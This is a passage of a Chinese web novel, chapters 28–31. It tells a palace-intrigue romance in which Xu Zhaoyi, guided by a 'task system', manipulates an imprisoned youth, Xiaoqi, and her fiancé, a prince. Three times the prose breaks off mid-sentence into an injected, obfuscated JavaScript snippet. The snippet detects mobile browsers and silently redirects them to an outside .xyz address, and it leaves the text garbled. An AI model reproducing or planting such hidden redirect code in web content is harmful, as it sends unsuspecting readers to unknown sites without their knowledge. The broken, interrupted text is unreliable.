那双狐狸眼依旧清澈到呆滞。 那狱卒扫了他好几眼,目光在那少年郎红肿的小半张脸上顿了顿,到底顾忌前几日行刑时,他无意中扫到的危险眼神,没再说什么,拉着身边不明所以的同伙往前走了几步,待离远些后,这才发现自己嘴巴有些哆嗦。 “你竟怕那小兔崽子?他那武功薄弱得很,现下又被二殿下废了,你怕他作甚?”同伴嘲笑他。 那狱卒也不怒,皱眉思索几许,本着同僚情,到底提醒了句:“你莫小瞧了那少年,前日行刑时,我观那少年神色不对,感觉他不简单,你到底提防点。” 同伴不以为意:“来这地牢最深处的人,有哪个是简单的?照样无人逃出去。要我说,你就是太优柔寡断了。” 那狱卒笑了笑,没说话。 他是这地牢里的老人了,不比那些新人胆子大。 他的胆子早在陛下初登基的那段时日吓破了。 那段时间的地牢每日都得运进不少犯人,每日也有犯人在严刑拷打中死去。 这地牢犯人多了,看守又不足。 那些抓人的内卫也只管抓,却不管看守。 变乱终有一日爆发了。 有个犯人蛊惑狱卒打开狱门,随后将所有犯人放了出来。 想到这儿,狱卒不自觉打了个哆嗦。 他恍然想起自己当初是怎么躲过那场灾祸的。 他躲进了一个地牢的草堆里,那草堆底下有地道,直通外面。 他当了逃兵,待动乱差不多结束时,又偷偷溜回去,装作伤重不起的样子被就出去,成为那场动乱中,为数不多活下来的狱卒。 他不敢把那条通道告诉任何人,只偷摸着拿石灰和糯米浆将洞口堵严实,底下却还是空荡荡的。 那个地道在哪个地牢来着?如果没想错的话......那狱卒拔腿就跑,一路跑到那少年郎的地牢面前,抬眼与那平静到呆滞的目光对上。 那狱卒下意识要打开地牢门,去检查那个稻草堆,却被随后而来的同伴打掉手臂,怒斥道:“你疯了?你想跟他一起被关进去?” 那狱卒这才回神,悻悻笑道:“脑子犯浑、犯浑。” 自那场动乱发生后,陛下就下了新规。 任何狱卒在没有上司指令的情况下,不得擅自触碰狱门,违者一律打入地牢。 那同伴估计觉得此处邪门,没一会儿便把那狱卒拉走了,说是去其他地牢门口巡查一二。 那少年郎静静地看着那两人走远,四周悄无声息,他忽而敲了几下地面。 咚咚,咚咚。 仿佛一个讯号,唤醒大地的春日气息,带来飘飞柳絮。 “你现在要下来吗?”声音似柳絮般柔软,又有些扎手。 少年郎似是没听见,依旧两眼呆滞地望着前方。 四周彻底无声,不多时,又悄然响起一些细细碎碎的声音。 少年的手稳稳压在草堆上,任由稻草挪动,手掌触感由扎手变为柔软,依旧没往稻草堆处看一眼。 “你别生气了,我给你带了好吃的。”徐昭意比平常更添几分温柔,“别生气了好不好?” 见小七不理她,徐昭意笑了笑,将食盒打开,露出内里色香味俱全的几道菜来。 “我知你伤处未好,特意带了几道清淡菜。你尝尝这道清蒸鱼,肉质嫩而味鲜甜......“ “你还要耍我到几时?”小七终于开口,眼珠子转到徐昭意那边,有些冷,“你既已与二皇子定亲,便莫来招惹我。” 徐昭意彻底笑弯眼,她的身体突然前倾,左手抚上小七的面颊——他脱了赤狐面具,露出一双琥珀色狐狸眼,与一张平平无奇,最多称得上清秀的面颊。 她不顾指下僵硬的触感,凑近他耳边,低声喃喃:“可是小七,我更喜欢你呀?二殿下虽与我青梅竹马,可他曾背着我与阿姐私会,我早已厌烦他了。可你不一样,你还没有见过阿姐,你是......” 她扳过他的面颊,对上他的眼睛,一字一句:“我的所有物。” 说罢,她松开手,托腮笑望他,浑身的温柔与欣喜都快溢出来了。 小七瞳孔一缩,下意识想侧开脸,但少女指腹压下的温度犹在脸侧,叫他一时动弹不得。 不知过了多久,小七彻底撇开脸,嗓音冷淡:“徐二娘子好计谋,吃着碗里瞧着锅里,也不怕噎得慌。” 徐昭意没料到他竟说出这种话,一时兴致勃勃打量他一眼,目光在他狼狈脏污的衣袍上转了圈,撇了撇嘴,又重新笑得温柔。 “我把饭菜留在这儿了,狱卒也有人指使开了,你慢点吃,待会儿凝露会来收走食盒。”徐昭意顿了顿,笑得更温柔,“我晚上有事,就不来看你了,你记得照顾好自个儿。” 眼见小七不理她,她也不在乎,自顾自钻进地道,还顺手扒拉下稻草堆。 地道内光线暗淡,徐昭意小心翼翼走了好一会儿,才与举着火把的凝露汇合。 “娘子也忒好心了!”凝露压着声音,忿忿不平,“您怕他受伤过重,好不容易买通狱卒,挖通地道给他送吃的,他竟转身就说您!” 徐昭意想到小七身上的狰狞疤痕,唇角不自觉上扬,“无妨,他沦落到这般境地,到底也有我一份责任。如今在照顾他一二,也是我应该做的。” 凝露撇撇嘴,不置一词。 彻底离开地道前,徐昭意突然转身,从袖里掏出一张折叠好的绢帕,递给凝露,“待会儿收拾食盒的时候,你就把这个给他,让他将伤口处理一下,以免发炎。” 凝露瞪眼,不得不接过绢帕,闷闷道:“奴婢知晓。” 徐昭意刚回府换了件衣裳,便看见那翘首以盼的信鸽。她朝信鸽招了招手,取下信纸一看,上面赫然写到: 辰时三刻,汇祥阁一叙。 她笑了笑,将信纸收好,转眼便等到了辰时三刻。 * 辰时三刻的汇祥阁热闹非凡,斗诗声不绝。 三楼一间隐秘的包厢内,萧青恒不住踱步,一双狗狗眼时不时向门口瞟去。 余光忽而闯入一角轻纱裙,他猛然收回目光,挺直脊背,大阔步走到座位旁坐下。 下一秒,木门被推开,露出一个头戴帷帽的曼妙身影。 他的目光在帷帽上打了个转儿,唇角不自觉上扬,又倏忽压下去,显得很是庄重。 关门声落入安静的厢房内,叫人心一跳。 摘帷帽的声音随之响起,细细碎碎的,叫萧青恒忍不住侧过脸,偷窥了身旁少女一眼,却被她抓个正着。 两人目光对上,相持一会儿,又乍然移开。 “昭意妹妹……今儿真好看。”萧青恒忍不住先开口,耳尖带着微红。 徐昭意顿了下,轻轻抚过竹纹袖口,羞涩低头,“自殿下来信,臣女便翘首以盼,惴惴选了许久……殿下喜欢就好。” 她自密道回来后便沐浴换衣,虽说是洗去晦气,但确实为这场相会费了些心思。 萧青恒一直看着徐昭意,目光从蓬松高耸的鬓发、崭新馨香的衣裙流连,最终在她如玉般纯净的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919724|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌肤处顿了顿,乍然收回目光,心底却滚烫起来。 他看得出来,昭意妹妹为了这场相会费了不少心思,又是沐浴又是换衣,真真是可爱极了。 他二人青梅竹马,却迟迟没有定下婚约,这早已成为他二人的心结。如今懿旨已下,再无人能将他们分开。 这般想着,他强行按压下炽热的心,将手中攥了许久的东西递给徐昭意,故作随意开口:“你看看喜欢不?” 徐昭意仔细打量手心金红豆,这种小玩意儿容易做,一般情况下不容易出错,但这个……她看着红豆一大一小的两截,笑了笑。 只有从不做手工之人,才会把金红豆做成这般模样。 “喜欢。”她攥紧,“很喜欢。” 萧青恒松了口气,他摸摸脑袋,神色忽而复杂起来。 他看着徐昭意鼓励的眼神,犹豫开口:“前几日的宫宴上……我知你是受害者,被那不知死活的细作盯上,想拿你来胁迫我。我匆匆赶来为你作保,但到底有不少大臣对此事仍有质疑,认为你与戎州那边勾结……” 金红豆上的触感黏腻,徐昭意恶心极了,忽而笑起来:“殿下想让臣女如何做?” 又垂眸,显出几分落寞,“殿下不必考虑臣女情绪,直说便是。” 萧青恒神色间带着几分复杂无措,却还是咬咬牙,狠心开口:“上次定亲过于匆忙,皇祖母很是不满,连父皇也稍有微词。我便与母妃商议过,叫你再进一次宫。这次进宫......” 他声音低弱下来:“你是知晓皇祖母对高家人的痛恨的,更别提宫中搜到戎州细作这件事。此次见面时,若皇祖母问起你是否知道那细作的身份......你便说他是高家少主吧。” 他抬眼看了徐昭意一眼,努努嘴:“你是知道的,皇祖母这人向来固执。此次她不知打哪儿来的消息,说地牢那人是高家少主,要杀他以儆效尤。现在她万事都已准备妥当,就差一个人证......” 他偏过头,“徐将军曾与高家军关系密切,若你指认那人是高家少主,大家也不会多想,只当你幼时见过他。” “但那个细作就必死无疑了。”徐昭意还是垂眸,语调有些惶恐,“不仅如此,高家守卫戎州多时,殿下是要臣女逼反忠良吗!” 萧青恒没料到一向柔弱的昭意妹妹竟懂这个,他噎了一下,精准捕捉到对面少女眸底划过的一抹失望,顿时开口:“不是的!那高家,那高家也不是甚么好东西!” 他看着少女流露出的疑惑又不解的目光,心里一急,脱口而出:“你可知高家是怎么发家的?他家先祖乃青汗国贵族,虽扶持太祖皇帝建国,可向来居心叵测,暗地里一直与青汗国保持着联系!” 徐昭意知道高家来历,却不知高家如今还与青汗国保持着联系。她想起那日看到的凤凰纹琵琶,笑了笑。 端贵妃本就与高家有千丝万缕的联系,这出让她指认小七为高家少主的大戏,也不知是巧合,还是有意为之。 萧青恒情急之下说了此等隐秘,一时心慌又焦急,但因着对徐昭意从小的信任,他还是定了定心神,勉强笑道:“此事没几个人知晓,昭意妹妹万不可与外面说道。” 徐昭意故作惶恐,连连摇头,似乎惊得说不出话来。 萧青恒见她这副模样,一时又觉着她可爱极了,心底那点警惕顿时抛到九霄云外,轻松笑道:“咱们的婚事能否彻底定下来,可全靠昭意妹妹明日的发挥了。” 徐昭意抿唇一笑:“定不负殿下嘱托。” * 另一边的小七盯着方才食盒待过的地方,脑海里还飘荡着被抓前,他听到的那道奇异声音。 “少年穷系列任务二:探寻高家隐秘,进度条:60%......” 他虽听不大懂,可大致也能猜到这代表着端贵妃与高家有着千丝万缕的联系。 徐昭意这般喜欢端贵妃,也不知听到后会作何反应。 又或者说......她此次待狱中的他这般殷勤,可是真站好队了? 他皱着眉,眸光明明灭灭,半响后,眼见四下无人,从稻草堆里翻出一个牛皮小册子,出神似地翻了几下,又立刻塞回去,将头撇向另一边。 真真假假、假假真真,她的话,如今他是真分不清了。 29. 阿姐归来 日头高照时,西市刑台被烈日烤得发烫,人群如潮水般围拢,窃窃私语在燥热空气中浮动。 “上次这般阵仗,还是杀的花贼!那狗官贪了赈灾的银子,活该千刀万剐!” “那这小子又是何人?为何这般大的阵仗?” 一片嘈杂中,忽有人压低嗓音,“我听宫中熟人言,他乃戎州少主,是戎州派来的奸细......” “戎州奸细?”一人语调怪异,“戎州不是我云王朝的地盘吗?何来奸细一说?” “呵,如今朝廷自顾不暇,青汗国虎视眈眈,倒有闲心对付自己人……” “千里之堤,溃于蚁穴,妖人祸国啊!” 徐昭意听着各方的议论声,压低了帷帽,轻纱下的双眸紧紧盯着行刑台。 行刑台上绑着一个浑身满是鞭痕的少年,他的长发乱糟糟垂下,遮挡了眼睛,只留下半边极其普通的面容。 他似是对接下来的遭遇浑然不觉,唇角弧度讥诮,浑身写满不在乎。 【恭喜宿主做对了选择!现在高家隐秘的任务进度是65%,说明宿主选择的方向是对的。且经此一事,端贵妃对你的信任值也高达45%,宿主还差15%就可以完成这个任务啦!】 徐昭意不知为何心脏又有些痛,连带着头也发晕。 她深深地望少年一眼,眼见大刀横批而下,便闭了闭眼,转身离去。 在她身后,鲜血扑出,一个圆溜溜的脑袋滚落在地,惊起一阵呼声。 “真就这般砍了?这可是高家的少主啊!” “少主又如何?先帝有令,戎州高家永世不得出戎州,违者斩!他若是不犯戒,官府怎会捉拿他?” “话虽这么说,但......” 她越走越远,直到身后声音彻底消散,这才掀开帷帽,朝着远方深深地呼出一口气。 “娘子!”不远处的凝露气咻咻跑来,碎碎念,“今日西市人多,娘子干甚么来这?来便算了,您竟甩开奴婢独自去看行刑!您......” 她看了眼徐昭意的脸色,叹息一声,到底没再说什么,只扶着自家娘子缓缓离去。 不远处的一座酒楼上,萧青恒端着酒壶凭栏而望,一双狗狗眼扫过徐昭意离开的方向,又望回行刑时的方向,猛灌了一口酒。 半响后,他倏忽笑了声。 笑音痛快又得意。 * 徐昭意一回府,便被徐国公唤去书房。 她还未跨进书房,一卷书册便甩到她的脚底下,封皮上赫然写着“忠义”二字。 数落声也随之响起:“小七是高家少主的事情,你怎么不跟我说?咱们家与高家几辈子的交情,就这么毁在你手上了!” 徐国公气得直哆嗦,“你可以选择嫁给二殿下,但是夺位之争从不是你看到的这么简单!你将宝全押在二殿下身上,万一哪日......” “父亲觉得太子殿下有可能东山再起吗?”徐昭意捡起书册,随手翻了两页,又合上,“父亲与其选一个只有潜在可能的太子殿下,何不痛下决心选择局势明朗的二殿下?” “你懂甚么!”徐国公深呼吸,“太子殿下自幼通读四书五经,长大后又骁勇善战,为阴山一役立下大功。而二殿下又干了什么?读书时未得头名,射骑剑术不过平平,还深受端贵妃控制!长于妇人手,怎堪当大任?” 徐昭意不爱听这话,下意识反驳道:“长于妇人手又如何?至少二殿下品性仁善、待人宽和,不像太子殿下那般暴虐成性,动不动就打骂宫婢......” “谁传的这等闲话!老子砍了他!”徐国公瞪眼,正欲再说些什么时,一道声音忽而急冲冲又喜气洋洋地打断他。 “老爷,大娘子回来了!” 徐昭意怔神,忽略心底的怪异感,赶忙问任务系统:“原书剧情里,阿姐也回来得这般早吗?” 任务系统嗞啦两声,声音有些迟疑。 【按理说女主这时候还在阴山收服男五,现在的剧情怕是才与男五搭上线,怎么会这时候回来呢?还有男四......原著里的男四可没遭过这些罪。】 徐昭意抿唇,只觉得脑子乱糟糟的,原本游刃有余的布局,此刻全被打乱了。 她深吸一口气,忽觉心脏绞痛,一阵天旋地转,眼前便陷入了黑暗。 * “......娘子这段时间怎么动不动就生病?” “二娘子本就身体弱,这段时日好似还被什么绊住了,时常多思多虑。长期以来郁结于心,便使得身体状况每况愈下......” “那该如何是好?” “让二娘子莫要再想事了,静心休养一段时间后,这身子骨当会好很多。” “有那人在,娘子怎么能不想?这真是......” 徐昭意悠悠转醒,不由得轻咳一声,引得凝露立刻跑到床前,紧张兮兮地观望着,“娘子你可还有哪处不舒服?老爷将宫里太医都请来了,娘子若有不适,赶紧跟太医说!” 徐昭意笑着摇摇头,柔声道:“劳烦陈太医来国公府跑一趟了。我现下好很多了,便不留陈太医了。” 陈太医悚凝露许久,只苦于主人家未醒,只得在屏风后坐立难安。 如今他一得徐昭意指示,立马背着箱笼溜走了。 “这庸医!”凝露暗啐一口,随即又看向徐昭意,有些犹豫,“娘子......这庸医虽庸,却也说得有几分道理。您若是为那位日夜煎熬,这国公府咱们不待也罢!奴婢记着梅家在京城还留有一座宅院,咱们搬去那儿住吧......” “那宅子被我发租给别人住了,”徐昭意好笑似地看凝露一眼,“这国公府的辉煌有阿娘一半功劳在里面,要走也不是我走呀。” 凝露一拍脑袋,恍然大悟:“奴婢知晓了!奴婢这就去把那位赶出青鹿苑,让她自个儿去府外找宅子去!” 说罢转身就要走,却被徐昭意一把拽住了袖子,“凝露莫着急,我不是因为阿姐才郁结于心的。” 她顿了顿,又道:“帮我唤阿姐来吧,我有事与她说。” 凝露闻言,眼神飘了飘,嘟喃道:“娘子有何事不能与奴婢说?非要与那人说?” 她越说越气,说到后面已经能毫不心虚地瞪徐昭意了。 徐昭意看出了猫腻,却不点明,只淡笑道:“阿姐都快走了,我这个做妹妹的自当与她说些离别贴己话。凝露一向伴我身侧,我也没必要与你说什子的离别话呀。” 凝露闻言,心里又满足又酸涩,便忍不住道:“娘子莫想那人了,现下这个时间段,那人怕不是已经搬好家了!” 徐昭意两眼微眯,“阿姐为何要走?” 凝露十分不情愿,却还是老老实实回答:“那位一开始便没回府,只叫人向老爷传了句话,说她回来了。” 说到这儿,她又愤愤不平道:“老爷更是过分,明知娘子的身体是被那位害成这样的,却偏偏叫人唤那位回府!要奴婢说,那位不愿回便别回了,还给她拿乔上了?真是好大派头!” 徐昭意揉揉凝露的脑袋,笑问道:“阿姐搬到何处去了?” 凝露撇撇嘴,挠头想了好半响,这才不情不愿回答:“好像是青衣巷。” 徐昭意摸头的手一顿,面色更加莫测。 她藏了一个人,那人正在青衣巷。 * 青衣巷角落的院落许久未曾住人,昨日忽而多了几个侍从模样的人扫洒,引得路人频频观望。 但不出一日,那几人又不见了,只余一个长相凶悍的哑奴守门。 哑奴守门一问三摇头,附近邻居又离得远,便歇了前来拜访的心思,悻悻回府。 这日附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934557|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近邻居都不见时,一辆不起眼的小马车骨碌碌驶到院门口,里面下来一道帷幔覆面的清丽身影,与一个面容俏丽的丫鬟。 守门的哑奴不复先前凶悍,对那两人毕恭毕敬地点头,随后放她们进去。 面容俏丽的丫鬟正是凝露,她一进门,便讶异问道:“娘子竟动用了哑叔守门?” 哑叔乃梅家留给徐昭意的底牌,看着没威胁,实则武力高强,乃凝露的武学师傅。 徐昭意的视线扫过过于安静的院落,缓缓往前走,“小七是高家少主这件事,不是我瞎编的。” 凝露神情一僵,顿时低声道:“那宫里......” “我也不知他们是不是歪打正着,”徐昭意蹙眉,“但高家少主生死存亡一事事关重大,若是高家被迫造反,联合太子推翻朝堂......咱们手上好歹还有筹码。” 话音刚落,她看着近在咫尺的木门,犹豫了会儿,还是推门而入。 她叫凝露留在门外,视线扫过明显没人动过的屋内陈设,笑了笑,提裙往里走。 哪怕事先有人帮小七擦试过身子,换过药,但寝房内依旧留着淡淡的血腥味。 且屋内的桌椅旁无人。 她挑了挑眉,目光落于床铺上。 那里有一团拱起。 越走越近,越走越近,眼看着就要掀开被子,一道沙哑的少年音响起。 “你在干什么?” 徐昭意身形一顿,若无其事地收回手,转身仔细打量少年。 他的肤色带着病态的白,唇色有些发青,但一双狐狸眼却是格外灼人。 像,太像了...... 若不是他长相普通,她当真以为他与阿姐是同一人。 这般想着,她忽而浑身一颤,第一次觉得他的视线带着奇异魔力,所过之处无不激起震颤,窜进心尖发麻。 徐昭意压下心底的古怪感觉,看着他裹得严实的衣裳,好心提醒:“你的伤口还没好,穿这么多不透气,当心把伤口捂发炎了。” 小七高深莫测地看她一眼,指尖抚上领口,却是又把领子往上拨了拨,捂得更严实了。 徐昭意好气又好笑,眼珠子一转,忽而问道:“你这两日可与邻居打过招呼?这附近有没有与你一样的新人口?” 小七瞥了她一眼,沉默了一会儿。就在她以为他不会回答时,他默默开口:“没打过招呼,没有新人口。” 徐昭意与小七相处时,头一次产生了不知所措的情绪。 往常小七不愿意或者不屑回答的时候,通常都不愿意理她。 可今日却是奇了怪了,他几乎是有问必答,哪怕再难为情,他也会给她一个反应。 这不正常。 徐昭意迅速下判断,面上却笑眯眯的,突然转移话题:“那你现在信我了吗?” 她见小七不语,眼皮垂了垂,眼圈通红,瞬间泫然欲泣,“你当时被打入地牢,是我疏通各方关系给你送饭;你后头被宫里人争对,是我想尽办法用死囚犯易容来替代你......虽说我却是牵连了你,但我的所作所为,还不能把这个牵连抵过吗?” 小七静静地看着她,她长着一张天真柔弱的面孔,且不可否认的是,她确实帮了他很多。 若是没有她,他说不准已经死在牢狱里了。 最重要的是,她还违背了她未婚夫的请求,将他偷偷从侩子手的手下救了出来...... 这般想着,他的神情松动些许,嘴皮子蠕动半响,这才低声道:“抵过了。” 顿了顿,又道:“相信你。” 徐昭意的目光扫过小七耳尖上的微红,破泣为笑,颇有些语无伦次:“我终于......终于......” 【叮!恭喜宿主成功俘获男四的心,请再接再厉!】 小七的笑容僵在脸上。 30. 探望阿姐 他缓缓抬头,死死盯着对面少女因喜悦而笑开花的脸。 她沐浴在窗侧阳光下,面容天真柔软,笑得纯真善良,仿若不谙世事的大家小姐。 缓慢开口,柔嫩唇畔一张一合:“小七可用膳了?咱们一起用午膳吧?” 他盯着那抹润红,手指微缩,面上也笑出来,“没用膳,一起吃吧。” 徐昭意莫名感觉周遭空气流通不畅,她将这莫名的念头甩开,笑吟吟看着小七,柔声唤道:“凝露,拿食盒来。” 门外的凝露脆声应下,随后又是一阵窸窸窣窣声,大门被哐地一下打开,随后露出凝露那张急冲冲的脸。 她的视线不动声色在徐昭意身上打了个转儿,见人无事,便松了口气,絮叨着拿出菜肴,“娘子念你的伤还未好,特意叫小厨房给你烹制了这道清蒸鱼。这可是梅家特意从江南那边运来的鲈鱼!肉嫩而味美,本是用来补娘子身子的,却不曾想便宜了你小子......” 小七闻言一顿,琥珀色的眼珠直勾勾盯着那条色香味俱全的鲈鱼,面上没甚么表情,却也迟迟不用膳。 下一瞬,徐昭意夹了块鱼肉放小七碗中,柔声补充道:“倒也不是全为你补身子用的。小厨房上新研制了一个蒸锅,说是火力旺,能将快速鱼肉蒸熟,保持鱼肉的最大水分,从而使这道清蒸愈发鲜美......你可愿替我尝尝?” 她笑眼弯弯,“看看这蒸锅是不是如传闻中那般神奇。” 小七抿唇,半响后,执筷夹鱼肉,送入口中。 在徐昭意满含期待的目光下,他的喉口微微滚动,眼神与她直接对上,鱼肉的鲜美愈发像一个柴火,点燃了他心中那束噼里啪啦无时无刻不在叫嚣的火苗。 他仿佛成了这食盒中的鲈鱼,被猛然提高的温度锁住水分,随后眼睁睁看着自己被开膛破肚,化成碎碎片片送入少女口中,吞下...... “好吃。”他闭了闭眼。 “好吃就行。”徐昭意也不在乎他看不看自己,她的目光扫过小七骤然发红的耳尖,笑了笑,也兴致盎然地夹了块鱼肉吃。 鱼肉味美而鲜,酱汁咸香入味,她吃得高兴,眼睛弯成一条缝。 小七又睁眼看她,顿了顿,随后什么也没说,就陪她默默用膳。 膳食用完后,徐昭意瞧了瞧天色,笑吟吟道:“天色不早了,待会儿我还得去见阿姐,便不叨扰你啦!”说罢起身离去。 小七默默注视着少女翩跹的背影,置于身侧的手指紧紧蜷起,待到再也看不见后,他深吸一口气,转身离去。 另一边,徐昭意刚上马车,茶水还未喝一口,便冷眉道:“去查查院中可还有人在。” 凝露肃然应声,悄无声息离去。 徐昭意却没让马车停下来,反而继续慢悠悠驾着,悠然喝着茶水。 凝露还没走多久,又很快回来,低声回道:“小七还在院中。” 徐昭意挑了挑眉,语带讶然,“你确定是他本人?” 凝露迟疑着点头,“应该是的,小七用膳后便午休了,奴婢不敢贸然上前试探,只远远观望了几眼,瞧那身形轮廓和隐约露出的面部轮廓应当是他本人。况且......” 她顿了顿,这回底气足了点,“奴婢没发现这院中有人离去的痕迹。” 凝露的本事,徐昭意一向是放心的。可这回不知怎的,她莫名想起她曾派人蹲守阿姐院落,却一无所获的事情来。 她蹙眉,到底还是多吩咐了一句:“下次再有这样的机会,最好还是再观望一下,不要这么快回来。” 凝露讷讷点头,还未来得及悄悄难过,头顶便被徐昭意揉了揉。 “也是我魔怔了。”徐昭意叹息一声,“小七的武功深不可测,你贸然打扰,倒有性命之虞。也罢,这种事也不是一次两次便能得出结果的,你这次已经做得很好了。” 话音刚落,马车便停在一户不起眼的院落门前。 徐昭意看了眼泪汪汪的凝露,笑着拍了拍她的肩膀,示意她擦擦眼泪,这才提裙跃下马车,上前敲门。 她敲了好几下门,连凝露都上前大力砸了下门,这门还是没开。 她垂下眼帘,有些心伤,“阿姐到底是不愿见我......” 话音未落,铜门被猛然打开,露出一双灼灼的狐狸眼。 “阿妹倒是冤枉我了。”狐狸眼的主人似笑非笑。 这道声音熟悉又陌生,阿姐明明没走多久,徐昭意却觉得她很久很久没见过阿姐了。 她抿唇笑了笑,光明正大打量着倚门站着的艳丽女子。 阿姐的面色似是白了些,却也不显得病态,反倒像铅粉的白。唇色红了些,似是涂了胭脂...... “阿姐可是梳妆后才来见妹妹的?”徐昭意忽而问道。 “阿妹倒是灵敏,阴山与京城的水土不同,我自回了京城后便生了场小病,面色憔悴不能见人。本想再修养一段时日,等状态好些了再去见阿妹,不想阿妹这就找上门来。” 萧青越无奈叹息,“我为了不丢面子,只好匆匆梳妆再来开门了。还望阿妹莫怪我手脚慢,开门开晚了。” 徐昭意摇摇头,凤眸里满是认真,“阿姐待妹妹如此郑重,妹妹怎会埋怨阿姐呢?” 说完又俏皮一笑,“阿姐可愿让妹妹进屋一观?” 萧青越的态度十分温和,他站直身体,侧身避让开来,“当然可以。” 徐昭意从萧青越身侧擦过,二人发尾交织,她的鼻尖更是嗅到一抹淡淡的冷香,很是熟悉、好闻。 她不动声色地磨了磨指腹,目光往院中望去。 青瓦白墙、花草竹帘、翘檐石路,粗大木柱立在石台上,门窗还糊着白纸。 虽不比国公府富贵,瞧着却很是清雅简单。 “阿姐打理的真好。”徐昭意不吝赞赏,又倏忽蹙眉,“只是说......阿姐院中竟无人伺候?” 她满脸的不赞同,“妹妹虽无力阻止阿姐搬出国公府,却也不能放任阿姐在外,却无人照料。” 说罢她便喊道:“凝露,去买几个细伢子来......” “不用了。”萧青越瞥她一眼,方才走动速度太快,身上的伤口还隐隐作痛。 他脑子里莫名响起前不久的奇怪声音,刹那间烦闷忽起,温和态度一扫而空,笑容散漫,“我不喜欢身边有太多人伺候,有阿青足矣。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972369|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐昭意看不惯他方才那副虚伪的温和样子,本以为自己戳破他的假面会高兴些,却不曾想更加憋闷了。 她知道阿青,在青鹿苑时是一个不起眼的小厮,经常做些院中杂活,也不见阿姐多么看中。不料阿姐搬出来后,满府的婢女不选,反而挑了个小厮跟随。 孤男寡女的,也不怕自己的清白受损。 按理说,阿姐搬出去后,无论是否清白受损都与她无关了。若是能够清白受损、毁了名声,那当然更好。 按照她原来的性子,她应当高兴才是。 可现在......徐昭意不知为何,心里徒然升起几分憋闷来。 她莫名不想让阿青与阿姐单独相处。 阿姐才离开多久?她怎么会有这种想法? “阿姐也不怕院内太冷清?”她面上不露分毫,端的是一副好妹妹的模样,“妹妹还不知道,阿姐为何要从府中搬出去?可是从阴山回来住不惯?” 萧青越摇摇头,意味深长地看了徐昭意一眼,语调却比往日和善些,“倒也不是住不惯,我只是听说府中有人因我心绪烦乱、病情加重,内疚之下索性便在外头租了个院子,也好过妨碍她人。” 徐昭意讶然,“府中上下何人敢有如此想法?阿姐与妹妹说,妹妹去与她说道说道。这京城中断没有主子因仆从不喜而出去避难的事儿!” 萧青越停下步伐,忽而转身,在徐昭意还没反应过来的时候,猛然倾身,那妖冶面孔在她眼底不断放大、放大—— 最终在徐昭意鼻尖前停下。 萧青越的呼吸几乎拂过她的唇畔,带着若有似无的冷香和一丝不易察觉的血腥气。 “阿妹当真不知是谁?”他低笑,声音轻得如同耳语,“听闻阿妹院中那只凶悍无比的狗,是在清正寺捡的?他的武功这般高强,应当知晓是谁在背后说坏话。” 先前他逼近,徐昭意的心都平静无波。此刻她听闻他说这话,心尖却猛然一颤,隐隐的兴奋和刺激涌上心头,带来阵阵战栗。 她面上却维持着无辜的讶然:“阿姐在说什么?小七怎会知晓这种事?” 萧青越缓缓直起身,唇畔笑意不减,眼神却冷了下来。他漫不经心地抚了抚袖口,仿佛方才的逼近只是一场幻觉。 “无妨。”他淡淡道,“横竖我如今搬出来了,阿妹也不必再费心。” 徐昭意心头一刺,莫名涌上一股烦躁。她不喜欢阿姐这副疏离的模样,仿佛她的一切算计在他眼里都不过是孩童的把戏。 她更不喜欢他提起“搬出来”时的轻描淡写,好似她对他而言,不过是个无关紧要的过客。 她抿了抿唇,忽而轻笑:“阿姐既然认定是妹妹的人所为,那妹妹便认了。只是......” 她的眼底闪过一丝挑衅,面上却楚楚可怜,“阿姐既已搬出府,又认定妹妹在背后不怀好意,那为何还要见妹妹?” 萧青越眸光微动,唇角笑意更深,却透着一股森然。 “阿妹却是忘了......”他慢条斯理地抬手,指尖轻轻抚过她颊边垂落的一缕发丝,动作轻柔得像是捧起一团轻柔柳絮。 “你我之间还有一场交易?” 31. 练体日常 交易? 徐昭意这回是真讶然。 她怎么不记得与阿姐还有交易? 萧青越也不恼,徐徐将掌心发丝放下,呼吸飘过徐昭意耳侧,“阿妹再想想......我离开前,曾与阿妹说过什么?” 说过什么?那日可发生太多事情了。 又是叮嘱她喝药,又是承诺她将白云疏放走...... 放走白云疏?阿姐莫非没去阴山,反而去戎州了? 徐昭意是这般想的,便这般问出声来了。 萧青越眸光一闪,含糊地应了声“是”。 去戎州,还是去身为高家老巢的茂泰县取毒草...... “阿姐可是因高家,才搬离的国公府?”徐昭意凑近,面上笑得温柔明媚,声音却压得极低。 萧青越感觉耳侧痒痒的,漫不经心“嗯”了声,又忽然道:“茂泰县那边确实有很多钩吻草。” 他看着徐昭意因疑惑而瞪圆的眸子,笑了笑,“阿妹倒是没骗我。” 徐昭意眸光一闪,“妹妹待阿姐可谓诚心至极,万没有骗阿姐的道理。那阿姐呢?可有骗妹妹的时候?” 